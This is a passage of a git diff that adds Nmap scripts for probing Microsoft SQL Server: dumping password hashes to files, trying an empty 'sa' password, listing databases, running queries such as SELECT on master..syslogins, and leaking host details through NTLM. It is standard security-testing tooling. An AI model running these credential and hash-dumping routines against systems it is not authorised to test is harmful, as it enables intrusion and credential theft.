+ status, result = helper:Query( query )
+
+ local output = {}
+
+ if ( status ) then
+ for _, row in ipairs( result.rows ) do
+ table.insert(output, ("%s:%s"):format(row[1] or "",row[2] or "") )
+ end
+ end
+
+ helper:Disconnect()
+ return output
+end
+
+-- Saves the hashes to file
+-- @param filename string name of the file
+-- @param response table containing the resultset
+-- @return status true on success, false on failure
+-- @return err string containing the error if status is false
+local function saveToFile(filename, response)
+ local f = io.open( filename, "w")
+ if ( not(f) ) then
+ return false, ("Failed to open file (%s)"):format(filename)
+ end
+ for _, row in ipairs(response) do
+ if ( not(f:write(row .."\n" ) ) ) then
+ return false, ("Failed to write file (%s)"):format(filename)
+ end
+ end
+ f:close()
+ return true
+end
+
+local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir")
+
+local function process_and_save (instance)
+ local instanceOutput = process_instance( instance )
+ if type(instanceOutput) == "table" then
+ local inst = instance:GetName():gsub(".*\\", "")
+ local filename = dir .. "/" .. stringaux.filename_escape(
+ ("%s_%s_ms-sql_hashes.txt"):format(instance.host.ip, inst))
+ saveToFile(filename, instanceOutput)
+ end
+ return instanceOutput
+end
+
+local do_instance = dir and process_and_save or process_instance
+
+action, portrule, hostrule = mssql.Helper.InitScript(do_instance)
diff --git a/scripts/ms-sql-empty-password.nse b/scripts/ms-sql-empty-password.nse
new file mode 100644
index 0000000..0b52db5
--- /dev/null
+++ b/scripts/ms-sql-empty-password.nse
@@ -0,0 +1,163 @@
+local mssql = require "mssql"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Attempts to authenticate to Microsoft SQL Servers using an empty password for
+the sysadmin (sa) account.
+
+SQL Server credentials required: No (will not benefit from
+<code>mssql.username</code> & <code>mssql.password</code>).
+Run criteria:
+* Host script: Will run if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+or <code>mssql.instance-port</code> script arguments are used (see mssql.lua).
+* Port script: Will run against any services identified as SQL Servers, but only
+if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+and <code>mssql.instance-port</code> script arguments are NOT used.
+
+WARNING: SQL Server 2005 and later versions include support for account lockout
+policies (which are enforced on a per-user basis).
+
+NOTE: Communication with instances via named pipes depends on the <code>smb</code>
+library. To communicate with (and possibly to discover) instances via named pipes,
+the host must have at least one SMB port (e.g. TCP 445) that was scanned and
+found to be open. Additionally, named pipe connections may require Windows
+authentication to connect to the Windows host (via SMB) in addition to the
+authentication required to connect to the SQL Server instances itself. See the
+documentation and arguments for the <code>smb</code> library for more information.
+
+NOTE: By default, the ms-sql-* scripts may attempt to connect to and communicate
+with ports that were not included in the port list for the Nmap scan. This can
+be disabled using the <code>mssql.scanned-ports-only</code> script argument.
+]]
+
+---
+-- @see ms-sql-brute.nse
+--
+-- @usage
+-- nmap -p 445 --script ms-sql-empty-password --script-args mssql.instance-all <host>
+-- nmap -p 1433 --script ms-sql-empty-password <host>
+--
+-- @output
+-- | ms-sql-empty-password:
+-- | [192.168.100.128\PROD]
+-- |_ sa:<empty> => Login Success
+--
+
+-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 02/01/2011 - v0.2 (Chris Woodbury)
+-- - Added ability to run against all instances on a host;
+-- - Added storage of credentials on a per-instance basis
+-- - Added compatibility with changes in mssql.lua
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth","intrusive"}
+
+dependencies = {"broadcast-ms-sql-discover"}
+
+local function test_credentials( instance, helper, username, password )
+ local database = "tempdb"
+
+ local status, result = helper:ConnectEx( instance )
+ local loginErrorCode
+ if( status ) then
+ stdnse.debug2("Attempting login to %s", instance:GetName() )
+ status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
+ end
+ helper:Disconnect()
+
+ local passwordIsGood, canLogin
+ if status then
+ passwordIsGood = true
+ canLogin = true
+ elseif ( loginErrorCode ) then
+ if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true end
+ if ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true end
+ if ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
+ stdnse.debug1("Account %s locked out on %s", username, instance:GetName() )
+ table.insert( instance.ms_sql_empty, "'sa' account is locked out." )
+ end
+ if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
+ stdnse.debug2("Attemping login to %s: Unknown login error number: %s", instance:GetName(), loginErrorCode )
+ table.insert( instance.ms_sql_empty, string.format( "Unknown login error number: %s", loginErrorCode ) )
+ end
+ else
+ table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) )
+ end
+
+ if ( passwordIsGood ) then
+ local loginResultMessage = "Login Success"
+ if loginErrorCode then
+ loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error"
+ end
+ table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "<empty>", loginResultMessage ) )
+
+ -- Add credentials for other ms-sql scripts to use but don't
+ -- add accounts that need to change passwords
+ if ( canLogin ) then
+ instance.credentials[ username ] = password
+ -- Legacy storage method (does not distinguish between instances)
+ nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
+ nmap.registry.mssqlusers[username]=password
+ end
+ end
+end
+
+--- Processes a single instance, attempting to detect an empty password for "sa"
+local function process_instance( instance )
+
+ -- One of this script's features is that it will report an instance's
+ -- in both the port-script results and the host-script results. In order to
+ -- avoid redundant login attempts on an instance, we will just make the
+ -- attempt once and then re-use the results. We'll use a mutex to make sure
+ -- that multiple script instances (e.g. a host-script and a port-script)
+ -- working on the same SQL Server instance can only enter this block one at
+ -- a time.
+ local mutex = nmap.mutex( instance )
+ mutex( "lock" )
+
+ local status, result
+
+ -- If this instance has already been tested (e.g. if we got to it by both the
+ -- hostrule and the portrule), don't test it again. This will reduce the risk
+ -- of locking out accounts.
+ if ( instance.tested_empty ~= true ) then
+ instance.tested_empty = true
+
+ instance.credentials = instance.credentials or {}
+ instance.ms_sql_empty = instance.ms_sql_empty or {}
+
+ if not instance:HasNetworkProtocols() then
+ stdnse.debug1("%s has no network protocols enabled.", instance:GetName() )
+ table.insert( instance.ms_sql_empty, "No network protocols enabled." )
+ end
+
+ local helper = mssql.Helper:new()
+ test_credentials( instance, helper, "sa", "" )
+ end
+
+ -- The password testing has been finished. Unlock the mutex.
+ mutex( "done" )
+
+ local instanceOutput
+ if ( instance.ms_sql_empty ) then
+ instanceOutput = {}
+ for _, message in ipairs( instance.ms_sql_empty ) do
+ table.insert( instanceOutput, message )
+ end
+ if ( nmap.verbosity() > 1 and #instance.ms_sql_empty == 0 ) then
+ table.insert( instanceOutput, "'sa' account password is not blank." )
+ end
+ end
+
+ return instanceOutput
+
+end
+
+action, portrule, hostrule = mssql.Helper.InitScript(process_instance)
diff --git a/scripts/ms-sql-hasdbaccess.nse b/scripts/ms-sql-hasdbaccess.nse
new file mode 100644
index 0000000..3d28f37
--- /dev/null
+++ b/scripts/ms-sql-hasdbaccess.nse
@@ -0,0 +1,150 @@
+local mssql = require "mssql"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Queries Microsoft SQL Server (ms-sql) instances for a list of databases a user has
+access to.
+
+SQL Server credentials required: Yes (use <code>ms-sql-brute</code>, <code>ms-sql-empty-password</code>
+and/or <code>mssql.username</code> & <code>mssql.password</code>)
+Run criteria:
+* Host script: Will run if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+or <code>mssql.instance-port</code> script arguments are used (see mssql.lua).
+* Port script: Will run against any services identified as SQL Servers, but only
+if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+and <code>mssql.instance-port</code> script arguments are NOT used.
+
+The script needs an account with the sysadmin server role to work.
+
+When run, the script iterates over the credentials and attempts to run
+the command for each available set of credentials.
+
+NOTE: The "owner" field in the results will be truncated at 20 characters. This
+is a limitation of the <code>sp_MShasdbaccess</code> stored procedure that the
+script uses.
+
+NOTE: Communication with instances via named pipes depends on the <code>smb</code>
+library. To communicate with (and possibly to discover) instances via named pipes,
+the host must have at least one SMB port (e.g. TCP 445) that was scanned and
+found to be open. Additionally, named pipe connections may require Windows
+authentication to connect to the Windows host (via SMB) in addition to the
+authentication required to connect to the SQL Server instances itself. See the
+documentation and arguments for the <code>smb</code> library for more information.
+
+NOTE: By default, the ms-sql-* scripts may attempt to connect to and communicate
+with ports that were not included in the port list for the Nmap scan. This can
+be disabled using the <code>mssql.scanned-ports-only</code> script argument.
+]]
+
+---
+-- @usage
+-- nmap -p 1433 --script ms-sql-hasdbaccess --script-args mssql.username=sa,mssql.password=sa <host>
+--
+-- @args ms-sql-hasdbaccess.limit limits the amount of databases per-user
+-- that are returned (default 5). If set to zero or less all
+-- databases the user has access to are returned.
+--
+-- @output
+-- | ms-sql-hasdbaccess:
+-- | [192.168.100.25\MSSQLSERVER]
+-- | webshop_reader
+-- | dbname owner
+-- | ====== =====
+-- | hr sa
+-- | finance sa
+-- | webshop sa
+-- | lordvader
+-- | dbname owner
+-- | ====== =====
+-- | testdb CQURE-NET\Administr
+-- |_ webshop sa
+
+-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
+-- added compatibility with changes in mssql.lua (Chris Woodbury)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "discovery","safe"}
+
+
+dependencies = {"broadcast-ms-sql-discover", "ms-sql-brute", "ms-sql-empty-password"}
+
+
+local function process_instance( instance )
+
+ local status, result, rs
+ local query, limit
+ local output = {}
+ local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
+
+ local RS_LIMIT = tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5
+
+ if ( RS_LIMIT <= 0 ) then
+ limit = ""
+ else
+ limit = string.format( "TOP %d", RS_LIMIT )
+ end
+
+ local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255),
+ DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit,
+ Suspect bit, Offline bit, InLoad bit, EmergencyMode bit,
+ StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]],
+
+
+ "INSERT INTO #hasaccess EXEC sp_MShasdbaccess",
+ ("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, table.concat(exclude_dbs, ",")),
+ "DROP TABLE #hasaccess" }
+
+ local creds = mssql.Helper.GetLoginCredentials_All( instance )
+ if ( not creds ) then
+ output = "ERROR: No login credentials."
+ else
+ for username, password in pairs( creds ) do
+ local helper = mssql.Helper:new()
+ status, result = helper:ConnectEx( instance )
+ if ( not(status) ) then
+ output = "ERROR: " .. result
+ break
+ end
+
+ if ( status ) then
+ status = helper:Login( username, password, nil, instance.host.ip )
+ end
+
+ if ( status ) then
+ for _, q in pairs(query) do
+ status, result = helper:Query( q )
+ if ( status ) then
+ -- Only the SELECT statement should produce output
+ if ( #result.rows > 0 ) then
+ rs = result
+ end
+ end
+ end
+ end
+
+ helper:Disconnect()
+
+ if ( status and rs ) then
+ result = mssql.Util.FormatOutputTable( rs, true )
+ result.name = username
+ if ( RS_LIMIT > 0 ) then
+ result.name = result.name .. (" (Showing %d first results)"):format(RS_LIMIT)
+ end
+ table.insert( output, result )
+ end
+ end
+ end
+
+ -- TODO: structured output, not format_output
+ return stdnse.format_output(true, output)
+end
+
+
+action, portrule, hostrule = mssql.Helper.InitScript(process_instance)
diff --git a/scripts/ms-sql-info.nse b/scripts/ms-sql-info.nse
new file mode 100644
index 0000000..445e694
--- /dev/null
+++ b/scripts/ms-sql-info.nse
@@ -0,0 +1,237 @@
+local mssql = require "mssql"
+local nmap = require "nmap"
+local smb = require "smb"
+local stdnse = require "stdnse"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Attempts to determine configuration and version information for Microsoft SQL
+Server instances.
+
+SQL Server credentials required: No (will not benefit from
+<code>mssql.username</code> & <code>mssql.password</code>).
+Run criteria:
+* Host script: Will always run.
+* Port script: N/A
+
+NOTE: Unlike previous versions, this script will NOT attempt to log in to SQL
+Server instances. Blank passwords can be checked using the
+<code>ms-sql-empty-password</code> script. E.g.:
+<code>nmap -sn --script ms-sql-empty-password --script-args mssql.instance-all <host></code>
+
+The script uses two means of getting version information for SQL Server instances:
+* Querying the SQL Server Browser service, which runs by default on UDP port
+1434 on servers that have SQL Server 2000 or later installed. However, this
+service may be disabled without affecting the functionality of the instances.
+Additionally, it provides imprecise version information.
+* Sending a probe to the instance, causing the instance to respond with
+information including the exact version number. This is the same method that
+Nmap uses for service versioning; however, this script can also do the same for
+instances accessible via Windows named pipes, and can target all of the
+instances listed by the SQL Server Browser service.
+
+In the event that the script can connect to the SQL Server Browser service
+(UDP 1434) but is unable to connect directly to the instance to obtain more
+accurate version information (because ports are blocked or the <code>mssql.scanned-ports-only</code>
+argument has been used), the script will rely only upon the version number
+provided by the SQL Server Browser/Monitor, which has the following limitations:
+* For SQL Server 2000 and SQL Server 7.0 instances, the RTM version number is
+always given, regardless of any service packs or patches installed.
+* For SQL Server 2005 and later, the version number will reflect the service
+pack installed, but the script will not be able to tell whether patches have
+been installed.
+
+Where possible, the script will determine major version numbers, service pack
+levels and whether patches have been installed. However, in cases where
+particular determinations can not be made, the script will report only what can
+be confirmed.
+
+NOTE: Communication with instances via named pipes depends on the <code>smb</code>
+library. To communicate with (and possibly to discover) instances via named pipes,
+the host must have at least one SMB port (e.g. TCP 445) that was scanned and
+found to be open. Additionally, named pipe connections may require Windows
+authentication to connect to the Windows host (via SMB) in addition to the
+authentication required to connect to the SQL Server instances itself. See the
+documentation and arguments for the <code>smb</code> library for more information.
+
+NOTE: By default, the ms-sql-* scripts may attempt to connect to and communicate
+with ports that were not included in the port list for the Nmap scan. This can
+be disabled using the <code>mssql.scanned-ports-only</code> script argument.
+]]
+---
+-- @usage
+-- nmap -p 445 --script ms-sql-info <host>
+-- nmap -p 1433 --script ms-sql-info --script-args mssql.instance-port=1433 <host>
+--
+-- @output
+-- | ms-sql-info:
+-- | Windows server name: WINXP
+-- | 192.168.100.128\PROD:
+-- | Instance name: PROD
+-- | Version:
+-- | name: Microsoft SQL Server 2000 SP3
+-- | number: 8.00.760
+-- | Product: Microsoft SQL Server 2000
+-- | Service pack level: SP3
+-- | Post-SP patches applied: No
+-- | TCP port: 1278
+-- | Named pipe: \\192.168.100.128\pipe\MSSQL$PROD\sql\query
+-- | Clustered: No
+-- | 192.168.100.128\SQLFIREWALLED:
+-- | Instance name: SQLFIREWALLED
+-- | Version:
+-- | name: Microsoft SQL Server 2008 RTM
+-- | Product: Microsoft SQL Server 2008
+-- | Service pack level: RTM
+-- | TCP port: 4343
+-- | Clustered: No
+-- | \\192.168.100.128\pipe\sql\query:
+-- | Version:
+-- | name: Microsoft SQL Server 2005 SP3+
+-- | number: 9.00.4053
+-- | Product: Microsoft SQL Server 2005
+-- | Service pack level: SP3
+-- | Post-SP patches applied: Yes
+-- |_ Named pipe: \\192.168.100.128\pipe\sql\query
+--
+-- @xmloutput
+-- <elem key="Windows server name">WINXP</elem>
+-- <table key="192.168.100.128\PROD">
+-- <elem key="Instance name">PROD</elem>
+-- <table key="Version">
+-- <elem key="name">Microsoft SQL Server 2000 SP3</elem>
+-- <elem key="number">8.00.760</elem>
+-- <elem key="Product">Microsoft SQL Server 2000</elem>
+-- <elem key="Service pack level">SP3</elem>
+-- <elem key="Post-SP patches applied">No</elem>
+-- </table>
+-- <elem key="TCP port">1278</elem>
+-- <elem key="Named pipe">\\192.168.100.128\pipe\MSSQL$PROD\sql\query</elem>
+-- <elem key="Clustered">No</elem>
+-- </table>
+-- <table key="192.168.100.128\SQLFIREWALLED">
+-- <elem key="Instance name">SQLFIREWALLED</elem>
+-- <table key="Version">
+-- <elem key="name">Microsoft SQL Server 2008 RTM</elem>
+-- <elem key="Product">Microsoft SQL Server 2008</elem>
+-- <elem key="Service pack level">RTM</elem>
+-- </table>
+-- <elem key="TCP port">4343</elem>
+-- <elem key="Clustered">No</elem>
+-- </table>
+-- <table key="\\192.168.100.128\pipe\sql\query">
+-- <table key="Version">
+-- <elem key="name">Microsoft SQL Server 2005 SP3+</elem>
+-- <elem key="number">9.00.4053</elem>
+-- <elem key="Product">Microsoft SQL Server 2005</elem>
+-- <elem key="Service pack level">SP3</elem>
+-- <elem key="Post-SP patches applied">Yes</elem>
+-- </table>
+-- <elem key="Named pipe">\\192.168.100.128\pipe\sql\query</elem>
+-- </table>
+
+-- rev 1.0 (2007-06-09)
+-- rev 1.1 (2009-12-06 - Added SQL 2008 identification T Sellers)
+-- rev 1.2 (2010-10-03 - Added Broadcast support <patrik@cqure.net>)
+-- rev 1.3 (2010-10-10 - Added prerule and newtargets support <patrik@cqure.net>)
+-- rev 1.4 (2011-01-24 - Revised logic in order to get version data without logging in;
+-- added functionality to interpret version in terms of SP level, etc.
+-- added script arg to prevent script from connecting to ports that
+-- weren't in original Nmap scan <chris3E3@gmail.com>)
+-- rev 1.5 (2011-02-01 - Moved discovery functionality into ms-sql-discover.nse and
+-- broadcast-ms-sql-discovery.nse <chris3E3@gmail.com>)
+-- rev 1.6 (2014-09-04 - Added structured output Daniel Miller)
+
+author = {"Chris Woodbury", "Thomas Buchanan"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe"}
+
+dependencies = {"broadcast-ms-sql-discover"}
+
+--- Returns formatted output for the given version data
+local function create_version_output_table( versionInfo )
+ local versionOutput = stdnse.output_table()
+
+ versionOutput["name"] = versionInfo:ToString()
+ if ( versionInfo.source ~= "SSRP" ) then
+ versionOutput["number"] = versionInfo.versionNumber
+ end
+ versionOutput["Product"] = versionInfo.productName
+ versionOutput["Service pack level"] = versionInfo.servicePackLevel
+ versionOutput["Post-SP patches applied"] = versionInfo.patched
+
+ return versionOutput
+end
+
+
+--- Returns formatted output for the given instance
+local function create_instance_output_table( instance )
+
+ -- if we didn't get anything useful (due to errors or the port not actually
+ -- being SQL Server), don't report anything
+ if not ( instance.instanceName or instance.version ) then return nil end
+
+ local instanceOutput = stdnse.output_table()
+
+ instanceOutput["Instance name"] = instance.instanceName
+ if instance.version then
+ instanceOutput["Version"] = create_version_output_table( instance.version )
+ end
+ if instance.port then instanceOutput["TCP port"] = instance.port.number end
+ instanceOutput["Named pipe"] = instance.pipeName
+ instanceOutput["Clustered"] = instance.isClustered
+
+ return instanceOutput
+
+end
+
+
+--- Processes a single instance, attempting to determine its version, etc.
+local function process_instance( instance )
+
+ local foundVersion = false
+ local ssnetlibVersion
+
+ -- If possible and allowed (see 'mssql.scanned-ports-only' argument), we'll
+ -- connect to the instance to get an accurate version number
+ if ( instance:HasNetworkProtocols() ) then
+ local ssnetlibVersion
+ foundVersion, ssnetlibVersion = mssql.Helper.GetInstanceVersion( instance )
+ if ( foundVersion ) then
+ instance.version = ssnetlibVersion
+ stdnse.debug1("Retrieved SSNetLib version for %s.", instance:GetName() )
+ else
+ stdnse.debug1("Could not retrieve SSNetLib version for %s.", instance:GetName() )
+ end
+ end
+
+ -- If we didn't get a version from SSNetLib, give the user some detail as to why
+ if ( not foundVersion ) then
+ if ( not instance:HasNetworkProtocols() ) then
+ stdnse.debug1("%s has no network protocols enabled.", instance:GetName() )
+ end
+ if ( instance.version ) then
+ stdnse.debug1("Using version number from SSRP response for %s.", instance:GetName() )
+ else
+ stdnse.debug1("Version info could not be retrieved for %s.", instance:GetName() )
+ end
+ end
+
+ -- Give some version info back to Nmap
+ if ( instance.port and instance.version ) then
+ instance.version:PopulateNmapPortVersion( instance.port )
+ nmap.set_port_version( instance.host, instance.port)
+ end
+
+end
+
+local function do_instance (instance)
+ process_instance( instance )
+ return create_instance_output_table( instance )
+end
+
+action, portrule, hostrule = mssql.Helper.InitScript(do_instance)
diff --git a/scripts/ms-sql-ntlm-info.nse b/scripts/ms-sql-ntlm-info.nse
new file mode 100644
index 0000000..6ff3db5
--- /dev/null
+++ b/scripts/ms-sql-ntlm-info.nse
@@ -0,0 +1,134 @@
+local os = require "os"
+local datetime = require "datetime"
+local mssql = require "mssql"
+local stdnse = require "stdnse"
+local smbauth = require "smbauth"
+local string = require "string"
+
+
+description = [[
+This script enumerates information from remote Microsoft SQL services with NTLM
+authentication enabled.
+
+Sending a MS-TDS NTLM authentication request with an invalid domain and null
+credentials will cause the remote service to respond with a NTLMSSP message
+disclosing information to include NetBIOS, DNS, and OS build version.
+]]
+
+
+---
+-- @usage
+-- nmap -p 1433 --script ms-sql-ntlm-info <target>
+--
+-- @output
+-- 1433/tcp open ms-sql-s
+-- | ms-sql-ntlm-info:
+-- | Target_Name: ACTIVESQL
+-- | NetBIOS_Domain_Name: ACTIVESQL
+-- | NetBIOS_Computer_Name: DB-TEST2
+-- | DNS_Domain_Name: somedomain.com
+-- | DNS_Computer_Name: db-test2.somedomain.com
+-- | DNS_Tree_Name: somedomain.com
+-- |_ Product_Version: 6.1.7601
+--
+--@xmloutput
+-- <elem key="Target_Name">ACTIVESQL</elem>
+-- <elem key="NetBIOS_Domain_Name">ACTIVESQL</elem>
+-- <elem key="NetBIOS_Computer_Name">DB-TEST2</elem>
+-- <elem key="DNS_Domain_Name">somedomain.com</elem>
+-- <elem key="DNS_Computer_Name">db-test2.somedomain.com</elem>
+-- <elem key="DNS_Tree_Name">somedomain.com</elem>
+-- <elem key="Product_Version">6.1.7601</elem>
+
+
+author = "Justin Cacak"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+dependencies = {"broadcast-ms-sql-discover"}
+
+local do_action = function(host, port)
+
+ local output = stdnse.output_table()
+
+ local tdsstream = mssql.TDSStream:new()
+ local status, result = tdsstream:Connect(host, port)
+ if not status then
+ return nil
+ end
+
+ local lp = mssql.LoginPacket:new()
+ lp:SetUsername("")
+ lp:SetPassword("")
+ lp:SetDatabase("")
+ lp:SetServer(stdnse.get_hostname(host))
+ -- Setting domain forces NTLM authentication
+ lp:SetDomain(".")
+
+ status, result = tdsstream:Send( lp:ToString() )
+ if not status then
+ tdsstream:Disconnect()
+ return nil
+ end
+
+ local status, response, errorDetail = tdsstream:Receive()
+ local recvtime = os.time()
+ tdsstream:Disconnect()
+
+ local ttype, pos = string.unpack("B", response)
+ if ttype ~= mssql.TokenType.NTLMSSP_CHALLENGE then
+ return nil
+ end
+
+ local data, pos = string.unpack("<s2", response, pos)
+ if not string.match(data, "^NTLMSSP") then
+ return nil
+ end
+
+ -- Leverage smbauth.get_host_info_from_security_blob() for decoding
+ local ntlm_decoded = smbauth.get_host_info_from_security_blob(data)
+
+ if ntlm_decoded.timestamp then
+ -- 64-bit number of 100ns clicks since 1/1/1601
+ local unixstamp = ntlm_decoded.timestamp // 10000000 - 11644473600
+ datetime.record_skew(host, unixstamp, recvtime)
+ end
+
+ -- Target Name will always be returned under any implementation
+ output.Target_Name = ntlm_decoded.target_realm
+
+ -- Display information returned & ignore responses with null values
+ if ntlm_decoded.netbios_domain_name and #ntlm_decoded.netbios_domain_name > 0 then
+ output.NetBIOS_Domain_Name = ntlm_decoded.netbios_domain_name
+ end
+
+ if ntlm_decoded.netbios_computer_name and #ntlm_decoded.netbios_computer_name > 0 then
+ output.NetBIOS_Computer_Name = ntlm_decoded.netbios_computer_name
+ end
+
+ if ntlm_decoded.dns_domain_name and #ntlm_decoded.dns_domain_name > 0 then
+ output.DNS_Domain_Name = ntlm_decoded.dns_domain_name
+ end
+
+ if ntlm_decoded.fqdn and #ntlm_decoded.fqdn > 0 then
+ output.DNS_Computer_Name = ntlm_decoded.fqdn
+ end
+
+ if ntlm_decoded.dns_forest_name and #ntlm_decoded.dns_forest_name > 0 then
+ output.DNS_Tree_Name = ntlm_decoded.dns_forest_name
+ end
+
+ if ntlm_decoded.os_major_version then
+ output.Product_Version = string.format("%d.%d.%d",
+ ntlm_decoded.os_major_version, ntlm_decoded.os_minor_version, ntlm_decoded.os_build)
+ end
+
+ return output
+
+end
+
+local function process_instance(instance)
+ return do_action(instance.host, instance.port)
+end
+
+action, portrule = mssql.Helper.InitScript(process_instance)
diff --git a/scripts/ms-sql-query.nse b/scripts/ms-sql-query.nse
new file mode 100644
index 0000000..8096da1
--- /dev/null
+++ b/scripts/ms-sql-query.nse
@@ -0,0 +1,107 @@
+local mssql = require "mssql"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Runs a query against Microsoft SQL Server (ms-sql).
+
+SQL Server credentials required: Yes (use <code>ms-sql-brute</code>, <code>ms-sql-empty-password</code>
+and/or <code>mssql.username</code> & <code>mssql.password</code>)
+Run criteria:
+* Host script: Will run if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+or <code>mssql.instance-port</code> script arguments are used (see mssql.lua).
+* Port script: Will run against any services identified as SQL Servers, but only
+if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+and <code>mssql.instance-port</code> script arguments are NOT used.
+
+NOTE: Communication with instances via named pipes depends on the <code>smb</code>
+library. To communicate with (and possibly to discover) instances via named pipes,
+the host must have at least one SMB port (e.g. TCP 445) that was scanned and
+found to be open. Additionally, named pipe connections may require Windows
+authentication to connect to the Windows host (via SMB) in addition to the
+authentication required to connect to the SQL Server instances itself. See the
+documentation and arguments for the <code>smb</code> library for more information.
+
+NOTE: By default, the ms-sql-* scripts may attempt to connect to and communicate
+with ports that were not included in the port list for the Nmap scan. This can
+be disabled using the <code>mssql.scanned-ports-only</code> script argument.
+]]
+
+---
+-- @usage
+-- nmap -p 1433 --script ms-sql-query --script-args mssql.username=sa,mssql.password=sa,ms-sql-query.query="SELECT * FROM master..syslogins" <host>
+--
+-- @args ms-sql-query.query The query to run against the server.
+-- (default: SELECT @@version version)
+-- @args mssql.database Database to connect to (default: tempdb)
+--
+-- @output
+-- | ms-sql-query:
+-- | [192.168.100.25\MSSQLSERVER]
+-- | Query: SELECT @@version version
+-- | version
+-- | =======
+-- | Microsoft SQL Server 2005 - 9.00.3068.00 (Intel X86)
+-- | Feb 26 2008 18:15:01
+-- | Copyright (c) 1988-2005 Microsoft Corporation
+-- |_ Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
+--
+
+-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
+-- added compatibility with changes in mssql.lua (Chris Woodbury)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+dependencies = {"broadcast-ms-sql-discover", "ms-sql-brute", "ms-sql-empty-password"}
+
+---
+local function process_instance( instance )
+ local status, result
+ -- the tempdb should be a safe guess, anyway the library is set up
+ -- to continue even if the DB is not accessible to the user
+ -- TODO: consider renaming this arg to ms-sql-query.database
+ local database = stdnse.get_script_args( 'mssql.database' ) or "tempdb"
+ local query = stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) or "SELECT @@version version"
+ local helper = mssql.Helper:new()
+
+ status, result = helper:ConnectEx( instance )
+
+ if status then
+ status, result = helper:LoginEx( instance, database )
+ if ( not(status) ) then result = "ERROR: " .. result end
+ end
+ if status then
+ status, result = helper:Query( query )
+ if ( not(status) ) then result = "ERROR: " .. result end
+ end
+
+ helper:Disconnect()
+
+ if status then
+ result = mssql.Util.FormatOutputTable( result, true )
+ result["name"] = string.format( "Query: %s", query )
+ end
+
+ return result
+end
+
+local do_action
+do_action, portrule, hostrule = mssql.Helper.InitScript(process_instance)
+
+action = function(...)
+ local scriptOutput = do_action(...)
+
+ if ( not( stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) ) ) then
+ table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-query.query='<QUERY>' to change query.)")
+ end
+
+ return stdnse.format_output( true, scriptOutput )
+end
diff --git a/scripts/ms-sql-tables.nse b/scripts/ms-sql-tables.nse
new file mode 100644
index 0000000..caf0a82
--- /dev/null
+++ b/scripts/ms-sql-tables.nse
@@ -0,0 +1,253 @@
+local mssql = require "mssql"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Queries Microsoft SQL Server (ms-sql) for a list of tables per database.
+
+SQL Server credentials required: Yes (use <code>ms-sql-brute</code>, <code>ms-sql-empty-password</code>
+and/or <code>mssql.username</code> & <code>mssql.password</code>)
+Run criteria:
+* Host script: Will run if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+or <code>mssql.instance-port</code> script arguments are used (see mssql.lua).
+* Port script: Will run against any services identified as SQL Servers, but only
+if the <code>mssql.instance-all</code>, <code>mssql.instance-name</code>
+and <code>mssql.instance-port</code> script arguments are NOT used.
+
+The sysdatabase table should be accessible by more or less everyone.
+
+Once we have a list of databases we iterate over it and attempt to extract
+table names. In order for this to succeed we need to have either
+sysadmin privileges or an account with access to the db. So, each
+database we successfully enumerate tables from we mark as finished, then
+iterate over known user accounts until either we have exhausted the users
+or found all tables in all the databases.
+
+System databases are excluded.
+
+NOTE: Communication with instances via named pipes depends on the <code>smb</code>
+library. To communicate with (and possibly to discover) instances via named pipes,
